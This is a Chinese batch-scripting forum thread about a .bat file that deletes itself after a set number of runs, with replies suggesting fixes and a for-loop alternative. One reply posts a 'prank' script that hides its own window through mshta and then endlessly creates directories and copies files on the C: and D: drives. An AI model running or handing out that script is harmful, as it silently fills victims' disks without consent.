无忧启动论坛

标题: 执行n次(例子是五次)后删除自己 [打印本页]

作者: 窄口牛    时间: 2020-7-26 10:49
标题: 执行n次(例子是五次)后删除自己
  1. @echo off
  2. set a=%~n0
  3. set /a a+=1
  4. if %~n0 == 6 (del /s /f /q %0)
  5. echo %a%
  6. pause
  7. move %0 d:\桌面\%a%.bat
复制代码
范例下载
执行5次后删除自己.rar (211 Bytes, 下载次数: 44)

作者: 879792799    时间: 2020-7-26 10:59
好程序!
作者: junyee    时间: 2020-7-26 12:45
程序有毛病.

win7x32
变量不会保存


  1. set a=%~n0 //获取脚本文件名这句好像无意义
  2. del /s /f /q %0 //建议加上双引号
复制代码



作者: 窄口牛    时间: 2020-7-26 13:30
好的,主要是提供思路。
作者: cnzb    时间: 2020-7-26 15:09
这里有个恶作剧代码用到了这个,你看看是不是:
@echo off
title ezj无窗口
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set n=1
:main
tree >ezj.txt
md "C:\ProgramData\%n%"
md "D:\%n%"
copy ezj.txt "C:\ProgramData\%n%"
copy ezj.txt "D:\%n%"
set /a n=n+1
goto main

网盘:https://c-t.work/s/8f34cdc16eb245

作者: 77888    时间: 2020-7-26 16:29
短小精悍的代码,让人看着舒心
作者: dos时代菜鸟    时间: 2020-7-26 20:11
本帖最后由 dos时代菜鸟 于 2020-7-26 20:12 编辑

  1. @echo off
  2. set n=6
  3. for /l %%c in (1,1,%n%) do (
  4.         call :program %%c
  5. )
  6. pause
  7. goto :end1

  8. :program
  9.         echo %1
  10.         exit /b
  11.         
  12. :end1
  13. del /s /f /q %0
复制代码
用 for 实现 循环6次,program 段可以放一些 指令,


作者: 窄口牛    时间: 2020-7-26 22:44
不一样,二次审题看看?
作者: bijiaolan    时间: 2020-7-29 15:30
好的,主要是提供思路。




欢迎光临 无忧启动论坛 (http://wuyou.net/) Powered by Discuz! X3.3